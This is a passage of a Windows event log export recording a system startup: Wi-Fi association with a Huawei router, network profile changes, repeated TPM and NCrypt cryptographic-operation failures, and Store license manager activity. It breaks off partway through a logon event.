3f1afc82-f8ac-4f6c-8005-1d233e606eee, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n21: 4322a811-697c-44dc-865e-3e2fdcb86009, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n22: 49cd895b-53b2-4dc4-a5f7-b18aa019ad37, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n23: 4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c, 1, 1 [(0 )(1 )(2 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)(?)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(3 )]\n24: 4f3da0d2-271d-4508-ae81-626b60809a38, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n25: 5d78c4e9-aeb3-4b40-8ac2-6a6005e0ad6d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n26: 60b3ec1b-9545-4921-821f-311b129dd6f6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n27: 613d217f-7f13-4268-9907-1662339531cd, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n28: 62f0c100-9c53-4e02-b886-a3528ddfe7f6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n29: 6365275e-368d-46ca-a0ef-fc0404119333, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n30: 721f9237-9341-4453-a661-09e8baa6cca5, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n31: 73111121-5638-40f6-bc11-f1d7b0d64300, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n32: 7a802526-4c94-4bd1-ba14-835a1aca2120, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n33: 7cb546c0-c7d5-44d8-9a5c-69ecdd782b69, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n34: 80083eae-7031-4394-9e88-4901973d56fe, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n35: 82bbc092-bc50-4e16-8e18-b74fc486aec3, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n36: 8ab9bdd1-1f67-4997-82d9-8878520837d9, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n37: 8b351c9c-f398-4515-9900-09df49427262, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n38: 90da7373-1c51-430b-bf26-c97e9c5cdc31, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n39: 92fb8726-92a8-4ffc-94ce-f82e07444653, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n40: 95dca82f-385d-4d39-b85b-5c73fa285d6f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n41: 97cde3ae-e908-4b59-ac96-a17645c5b57e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n42: a48938aa-62fa-4966-9d44-9f04da3f72f2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n43: b0773a15-df3a-4312-9ad2-83d69648e356, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n44: b4bfe195-541e-4e64-ad23-6177f19e395e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n45: b68e61d2-68ca-4757-be45-0cc2f3e68eee, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n46: bd3762d7-270d-4760-8fb3-d829ca45278a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n47: c86d5194-4840-4dae-9c1c-0301003a5ab0, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n48: ca7df2e3-5ea0-47b8-9ac1-b1be4d8edd69, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n49: d552befb-48cc-4327-8f39-47d2d94f987c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n50: d6eadb3b-5ca8-4a6b-986e-35b550756111, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n51: df96023b-dcd9-4be2-afa0-c6c871159ebe, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n52: e0c42288-980c-4788-a014-c080d2e1926e, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n53: e4db50ea-bda1-4566-b047-0ca50abc6f07, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n54: e558417a-5123-4f6f-91e7-385c1c7ca9d4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n55: e7a950a2-e548-4f10-bf16-02ec848e0643, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n56: eb6d346f-1c60-4643-b960-40ec31596c45, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n57: ec868e65-fadf-4759-b23e-93fe37f2cc29, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n58: ef51e000-2659-4f25-8345-3de70a9cf4c4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n59: f7af7d09-40e4-419c-a49b-eae366689ebd, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n60: fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n61: fe74f55b-0338-41d6-b267-4a201abe7285, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n\"\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:04.947\t1040\tReceived Mib notification type MibAddInstance for interface 9\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.947\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 9. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.949\t11000\t\"Wireless network association started.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nLocal MAC Address: 28:92:00:F2:4A:95\nNetwork SSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\nAuthentication: WPA2-Personal\nEncryption: AES-GCMP-128\n802.1X Enabled: No\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:04.970\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:04.973\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:04.973\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.005\t7021\t7021 - Wi-Fi Driver Info\tInformation\tSystem\tNetwtw14\n05.09.2026 08:29:05.022\t4001\tEntered State: Identifying Network Interface Guid: {449f824d-2856-4717-a3a7-cf59faac817a}\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:05.023\t20002\t\"NSI Set Category Result\n\tProfile GUID: {ffffffff-ffff-ffff-ffff-ffffffffffff}\n\tInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\n\tNetwork Category: Public\n\tIPv4 Error Code: 0\n\tIPv6 Error Code: 1168\n\tContext: 3275\n\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:05.023\t10000\t\"Network Connected\n\tName: \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f...\n\tDesc: \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f...\n\tType: Unmanaged\n\tState: Connected\n\tCategory: Public\n\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:05.027\t11001\t\"Wireless network association succeeded.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nLocal MAC Address: 28:92:00:F2:4A:95\nNetwork SSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\nManagement Frame Protection Enabled: 0x100000000\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:05.027\t11010\t\"Wireless security started.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nLocal MAC Address: 28:92:00:F2:4A:95\nNetwork SSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\nAuthentication: WPA2-Personal\nEncryption: AES-GCMP-128\nFIPS Mode: Disabled\n802.1x Enabled: No\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:05.036\t11005\t\"Wireless security succeeded.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nLocal MAC Address: 28:92:00:F2:4A:95\nNetwork SSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:05.042\t902\t\"The Software Protection service has started.\n10.0.26100.9168\"\tUndefined\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:05.043\t2010\t\"Network profile changed on an interface.\n\nAdapter GUID:\t{449f824d-2856-4717-a3a7-cf59faac817a}\nAdapter Name:\twireless_32768\nOld Profile:\tNone\nNew Profile:\tPublic\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:05.062\t4205\tGateway resolution failed on interface {449f824d-2856-4717-a3a7-cf59faac817a} for 192.168.100.1 with error: 0x43\tError\tMicrosoft-Windows-NlaSvc/Operational\tMicrosoft-Windows-NlaSvc\n05.09.2026 08:29:05.080\t8001\t\"WLAN AutoConfig service has successfully connected to a wireless network.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nConnection Mode: \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u044f\nProfile Name: HUAWEI_HG8245_WiFi\nSSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\nPHY Type: 802.11n\nAuthentication: WPA2-Personal\nEncryption: AES-CCMP\n802.1x Enabled: No\nHidden: false\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:05.174\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:29:05.176\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.189\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.193\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.198\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tWindows AIK\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.198\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tWindows AIK\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.198\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tWindows AIK\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.253\t4\tThe maximum file size for session \"ReadyBoot\" has been reached. As a result, events might be lost (not logged) to file \"C:\\WINDOWS\\Prefetch\\ReadyBoot\\ReadyBoot.etl\". The maximum files size is currently set to 20971520 bytes.\tWarning\tMicrosoft-Windows-Kernel-EventTracing/Admin\tMicrosoft-Windows-Kernel-EventTracing\n05.09.2026 08:29:05.253\t3\tSession \"ReadyBoot\" stopped due to the following error: 0xC0000188\tError\tMicrosoft-Windows-Kernel-EventTracing/Admin\tMicrosoft-Windows-Kernel-EventTracing\n05.09.2026 08:29:05.260\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t17\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.271\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.272\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.272\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.272\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.273\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.273\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.273\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.273\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.273\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.304\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:29:05.305\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.309\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.312\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.440\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: true\n\tConnection Cost Changed: true\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: true\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:05.468\t1024\tInternet connection status changed to false, submitting pending workitems: count = 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:05.472\t157\tThe license with Id 2da6ca43-2e6f-1f16-05ad-a9959043ddb7 has been archived successfully.  PFM if available: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:29:05.472\t116\t\"Application license successfully installed.\nPackage: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\nUser Id (if available): NULL\nLicense Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\nAssociate Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\"\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:29:05.496\t8000\t\"Process Name: C:\\WINDOWS\\System32\\svchost.exe\nModule Name: c:\\windows\\system32\\LicenseManager.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.496\t8001\t\"Failure Message: Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.497\t8001\t\"License Manager starting...\nFunction: ServiceInitializeImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2113)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.497\t8001\t\"Creating LM\nFunction: CreateLicenseManager\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (609)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.498\t8001\t\"0000021F83133E50: Root Machine\nFunction: RootMachine::RootMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\rootmachine.cpp (63)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.498\t8001\t\"License Manager started\nFunction: ServiceInitializeImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2141)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.499\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.499\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.502\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.502\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.502\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.502\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.508\t8001\t\"Licensing content 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: OneStoreApplicationLicenseManager::ActivateLicenseForContent\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (410)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.508\t8001\t\"Licensing 807d73a3-33f2-c21b-c47a-85c313d97af9 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.515\t2415\tAn application was unregistered with the following parameters: Microsoft.Explorer.Notification.{EC5FD88D-8E3A-9F78-2E20-67FB34BE9AFA} [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:05.520\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount 